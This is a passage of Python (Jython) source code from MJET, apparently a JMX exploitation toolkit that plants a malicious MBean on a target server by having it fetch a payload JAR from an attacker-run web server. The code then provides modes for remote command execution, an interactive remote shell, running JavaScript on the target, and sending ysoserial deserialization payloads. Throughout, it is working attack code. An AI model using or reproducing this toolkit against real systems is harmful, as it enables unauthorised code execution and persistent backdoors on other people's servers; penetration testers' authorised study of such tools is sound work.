bean_server.getObjectInstance(ObjectName("DefaultDomain:type=MLet")) 101 | 102 | print "[+] Loaded " + str(mlet_bean.getClassName()) 103 | 104 | 105 | # Install payload Mlet via getMbeansFromURL 106 | # pass the URL of the web server 107 | print "[+] Loading malicious MBean from " + args.payload_url 108 | print "[+] Invoking: "+ mlet_bean.getClassName() + ".getMBeansFromURL" 109 | 110 | 111 | inv_array1 = jarray.zeros(1, Object) 112 | inv_array1[0] = args.payload_url 113 | 114 | inv_array2 = jarray.zeros(1, String) 115 | inv_array2[0] = String.canonicalName 116 | 117 | resource = bean_server.invoke(mlet_bean.getObjectName(), "getMBeansFromURL", inv_array1, inv_array2) 118 | 119 | # Check if the Mlet was loaded successfully 120 | 121 | for res in resource: 122 | if res.__class__.__name__ == "InstanceAlreadyExistsException": 123 | print "[+] Object instance already existed, no need to install it a second time" 124 | elif res.__class__.__name__ == "ObjectInstance": 125 | print "[+] Successfully loaded MBean" + str(res.getObjectName()) 126 | 127 | # Change the password from "I+n33d+a+glass+0f+watta" to the new value 128 | print "[+] Changing default password..." 129 | changePassword("I+n33d+a+glass+0f+watta", args.password, bean_server) 130 | else: 131 | print res 132 | 133 | 134 | 135 | def startWebserver(args): 136 | # Start a web server on all ports in a seperate thread 137 | # Only needed during installation 138 | print "[+] Starting webserver at port " + str(args.payload_port) 139 | mletHandler = MakeHandlerClass(args.payload_url) 140 | mlet_webserver = HTTPServer(('', int(args.payload_port)), mletHandler) 141 | webserver_thread = Thread(target = mlet_webserver.serve_forever) 142 | webserver_thread.daemon = True 143 | try: 144 | webserver_thread.start() 145 | except KeyboardInterrupt: 146 | mlet_webserver.shutdown() 147 | sys.exit(0) 148 | 149 | def MakeHandlerClass(base_url): 150 | #This class will handles any incoming request from 151 | #the JMX service 152 | # Needed during installation of the JAR 153 | class CustomHandler(BaseHTTPRequestHandler): 154 | 155 | 156 | def __init__(self, *args, **kwargs): 157 | self._base_url = base_url 158 | self.jar_name = ''.join(random.choice(string.ascii_lowercase) for _ in range(8)) + '.jar' 159 | BaseHTTPRequestHandler.__init__(self, *args, **kwargs) 160 | 161 | #Handler for the GET requests 162 | def do_GET(self): 163 | if self.path=="/": 164 | mlet_code = '' 165 | 166 | self.send_response(200) 167 | self.send_header('Pragma', 'no-cache') 168 | self.end_headers() 169 | self.wfile.write(mlet_code) 170 | 171 | elif self.path.endswith('.jar'): 172 | f = open("./payloads/MogwaiLabsMJET-MLet.jar") 173 | self.send_response(200) 174 | self.send_header('Content-type', 'application/jar') 175 | self.end_headers() 176 | self.wfile.write(f.read()) 177 | f.close() 178 | 179 | else: 180 | self.send_error(404, 'File not found: ' + self.path) 181 | # 182 | # except IOError: 183 | # self.send_error(404,'File Not Found: %s' % self.path) 184 | 185 | return CustomHandler 186 | 187 | ### /INSTALL MODE ### 188 | 189 | 190 | ### UNINSTALL MODE ### 191 | def uninstallMode(args): 192 | bean_server = connectToJMX(args) 193 | uninstallMBeans(bean_server) 194 | print "[+] Done" 195 | 196 | def uninstallMBeans(bean_server): 197 | try: 198 | bean_server.unregisterMBean(ObjectName("MogwaiLabs:name=payload,id=1")) 199 | except: 200 | print "[-] Error: The MBean is not registered in the target server" 201 | sys.exit(0) 202 | print "[+] MBean correctly uninstalled" 203 | 204 | ### /UNINSTALL MODE ### 205 | 206 | 207 | ### CHANGE PASSWORD MODE ### 208 | 209 | def changePasswordMode(args): 210 | bean_server = connectToJMX(args) 211 | changePassword(args.password, args.newpass, bean_server) 212 | print "[+] Done" 213 | 214 | def changePassword(password, newpass, bean_server): 215 | # Payload execution 216 | # Load the Payload Met and invoke a method on it 217 | mlet_bean = bean_server.getObjectInstance(ObjectName("MogwaiLabs:name=payload,id=1")) 218 | print "[+] Loaded " + str(mlet_bean.getClassName()) 219 | 220 | inv_array1 = jarray.zeros(2, Object) 221 | inv_array1[0] = password 222 | inv_array1[1] = newpass 223 | 224 | inv_array2 = jarray.zeros(2, String) 225 | inv_array2[0] = String.canonicalName 226 | inv_array2[1] = String.canonicalName 227 | 228 | resource = bean_server.invoke(mlet_bean.getObjectName(), "changePassword", inv_array1, inv_array2) 229 | 230 | if str(resource) == "True": 231 | print "[+] Successfully changed password" 232 | else: 233 | print "[-] Unable to change password" 234 | 235 | sys.stdout.flush() 236 | 237 | ### /CHANGE PASSWORD MODE ### 238 | 239 | 240 | ### COMMAND MODE ### 241 | 242 | def commandMode(args): 243 | bean_server = connectToJMX(args) 244 | executeCommand(args.password, args.cmd, bean_server) 245 | print "[+] Done" 246 | 247 | def executeCommand(password, cmd, bean_server): 248 | # Payload execution 249 | # Load the Payload MLet and invoke a method on it 250 | mlet_bean = bean_server.getObjectInstance(ObjectName("MogwaiLabs:name=payload,id=1")) 251 | print "[+] Loaded " + str(mlet_bean.getClassName()) 252 | 253 | print "[+] Executing command: " + cmd 254 | inv_array1 = jarray.zeros(2, Object) 255 | inv_array1[0] = password 256 | inv_array1[1] = cmd 257 | 258 | 259 | inv_array2 = jarray.zeros(2, String) 260 | inv_array2[0] = String.canonicalName 261 | inv_array2[1] = String.canonicalName 262 | 263 | resource = bean_server.invoke(mlet_bean.getObjectName(), "runCMD", inv_array1, inv_array2) 264 | 265 | print resource 266 | 267 | sys.stdout.write("\n") 268 | sys.stdout.flush() 269 | 270 | ### /COMMAND MODE ### 271 | 272 | ### JAVASCRIPT MODE ### 273 | 274 | def scriptMode(args): 275 | bean_server = connectToJMX(args) 276 | 277 | with open(args.filename, 'r') as myfile: 278 | script=myfile.read() 279 | 280 | executeJS(args.password, script, bean_server) 281 | print "[+] Done" 282 | 283 | def executeJS(password, js, bean_server): 284 | # Payload execution 285 | # Load the Payload MLet and invoke a method on it 286 | mlet_bean = bean_server.getObjectInstance(ObjectName("MogwaiLabs:name=payload,id=1")) 287 | print "[+] Loaded " + str(mlet_bean.getClassName()) 288 | 289 | print "[+] Executing script" 290 | inv_array1 = jarray.zeros(2, Object) 291 | inv_array1[0] = password 292 | inv_array1[1] = js 293 | 294 | inv_array2 = jarray.zeros(2, String) 295 | inv_array2[0] = String.canonicalName 296 | inv_array2[1] = String.canonicalName 297 | 298 | resource = bean_server.invoke(mlet_bean.getObjectName(), "runJS", inv_array1, inv_array2) 299 | 300 | if resource is not None: 301 | print resource 302 | 303 | sys.stdout.write("\n") 304 | sys.stdout.flush() 305 | 306 | ### /JAVASCRIPT MODE ### 307 | 308 | 309 | ### SHELL MODE ### 310 | 311 | def shellMode(args): 312 | bean_server = connectToJMX(args) 313 | startShell(args.password, bean_server) 314 | print "[+] Done" 315 | 316 | def startShell(password, bean_server): 317 | print "[+] Use command 'exit_shell' to exit the shell" 318 | in_command_loop = True 319 | while in_command_loop: 320 | cmd = raw_input(">>> ") 321 | if cmd == 'exit_shell': 322 | in_command_loop = False 323 | else: 324 | executeCommand(password, cmd, bean_server) 325 | 326 | ### /SHELL MODE ### 327 | 328 | ### DESERIALIZATION MODE ### 329 | 330 | def deserializationMode(args): 331 | 332 | if not os.path.isfile('./ysoserial.jar'): 333 | print "[-] Error: Did not find ysoserial.jar in this folder. Please download it from https://github.com/frohoff/ysoserial" 334 | sys.exit(1) 335 | 336 | sys.path.append("./ysoserial.jar") 337 | print "[+] Added ysoserial API capacities" 338 | 339 | from ysoserial.payloads.ObjectPayload import Utils 340 | 341 | # Connect to the JMX server 342 | bean_server = connectToJMX(args) 343 | 344 | 345 | # Generate deserialization object with ysoserial.jar 346 | payload_object = Utils.makePayloadObject(args.gadget, args.cmd) 347 | 348 | # Command execution 349 | # Load default MLet java.util.logging and invoke method getLoggerLevel on it 350 | mlet_bean = bean_server.getObjectInstance(ObjectName("java.util.logging:type=Logging")) 351 | print "[+] Loaded " + str(mlet_bean.getClassName()) 352 | 353 | print "[+] Passing ysoserial object as parameter to getLoggerLevel(String loglevel)" 354 | inv_array1 = jarray.zeros(1, Object) 355 | inv_array1[0] = payload_object 356 | 357 | inv_array2 = jarray.zeros(1, String) 358 | inv_array2[0] = String.canonicalName 359 | 360 | try: 361 | resource = bean_server.invoke(mlet_bean.getObjectName(), "getLoggerLevel", inv_array1, inv_array2) 362 | 363 | except: 364 | if "argument type mismatch" in str(sys.exc_info()[1]): 365 | print "[+] Got an argument type mismatch exception - this is expected" 366 | 367 | elif "Access denied! Invalid access level" in str(sys.exc_info()[1]): 368 | print "[+] Got an access denied exception - this is expected" 369 | else: 370 | print "[-] Got a " + str(sys.exc_info()[1]) + "exception, exploitation failed" 371 | 372 | sys.stdout.write("\n") 373 | sys.stdout.flush() 374 | 375 | print "[+] Done" 376 | 377 | ### /DESERIALIZATION MODE ### 378 | 379 | ### PARSER ### 380 | # Map for clarity's sake 381 | def arg_install_mode(args): 382 | installMode(args) 383 | def arg_command_mode(args): 384 | commandMode(args) 385 | def arg_script_mode(args): 386 | scriptMode(args) 387 | def arg_shell_mode(args): 388 | shellMode(args) 389 | def arg_password_mode(args): 390 | changePasswordMode(args) 391 | def arg_uninstall_mode(args): 392 | uninstallMode(args) 393 | def arg_webserver_mode(args): 394 | webserverMode(args) 395 | def arg_deserialization_mode(args): 396 | deserializationMode(args) 397 | 398 | # print header 399 | print "" 400 | print authorSignature 401 | 402 | # Base parser 403 | parser = argparse.ArgumentParser(description = 'MJET allows an easy exploitation of insecure JMX services', epilog='--- MJET - MOGWAI LABS JMX Exploitation Toolkit ------------------', add_help=True) 404 | parser.add_argument('targetHost', help='target IP address') 405 | parser.add_argument('targetPort', help='target JMX service port') 406 | parser.add_argument('--jmxrole', help='remote JMX role') 407 | parser.add_argument('--jmxpassword', help='remote JMX password') 408 | subparsers = parser.add_subparsers(title='modes', description='valid modes', help='use ... MODE -h for help about specific modes') 409 | 410 | # Install mode 411 | install_subparser = subparsers.add_parser('install', help='install the payload MBean on the target') 412 | install_subparser.add_argument('password', help="the password that should be set after successful installation") 413 | install_subparser.add_argument('payload_url', help='URL to load the payload (full URL)') 414 | install_subparser.add_argument('payload_port', help='port to load the payload') 415 | install_subparser.set_defaults(func=arg_install_mode) 416 | 417 | # Uninstall mode 418 | uninstall_subparser = subparsers.add_parser('uninstall', help='uninstall the payload MBean from the target') 419 | uninstall_subparser.set_defaults(func=arg_uninstall_mode) 420 | 421 | # Password mode 422 | password_subparser = subparsers.add_parser('changepw', help='change the payload password on the target') 423 | password_subparser.add_argument('password', help="the password to access the installed MBean") 424 | password_subparser.add_argument('newpass', help='The new password') 425 | password_subparser.set_defaults(func=arg_password_mode) 426 | 427 | # Command mode 428 | command_subparser = subparsers.add_parser('command', help='execute a command in the target') 429 | command_subparser.add_argument('password', help="the password to access the installed MBean") 430 | command_subparser.add_argument('cmd', help='command to be executed') 431 | command_subparser.set_defaults(func=arg_command_mode) 432 | 433 | # Javascript mode 434 | script_subparser = subparsers.add_parser('javascript', help='execute JavaScript code from a file in the target') 435 | script_subparser.add_argument('password', help="the password to access the installed MBean") 436 | script_subparser.add_argument('filename', help='file with the JavaScript code to be executed') 437 | script_subparser.set_defaults(func=arg_script_mode) 438 | 439 | # Shell mode 440 | shell_subparser = subparsers.add_parser('shell', help='open a simple command shell in the target') 441 | shell_subparser.add_argument('password', help="the required password to access the installed MBean") 442 | shell_subparser.set_defaults(func=arg_shell_mode) 443 | 444 | # Webserver mode 445 | webserver_subparser = subparsers.add_parser('webserver', help='just run the MLET web server') 446 | webserver_subparser.add_argument('payload_url', help='URL to load the payload (full URL)') 447 | webserver_subparser.add_argument('payload_port', help='port to load the system') 448 | webserver_subparser.set_defaults(func=arg_webserver_mode) 449 | 450 | 451 | # Deserialization mode 452 | deserialize_subparser = subparsers.add_parser('deserialize', help='send a ysoserial payload to the target') 453 | deserialize_subparser.add_argument('gadget', help='gadget as provided by ysoserial, e.g., CommonsCollections6') 454 | deserialize_subparser.add_argument('cmd', help='command to be executed') 455 | deserialize_subparser.set_defaults(func=arg_deserialization_mode) 456 | 457 | # Store the user args 458 | args = parser.parse_args() 459 | args.func(args) 460 | --------------------------------------------------------------------------------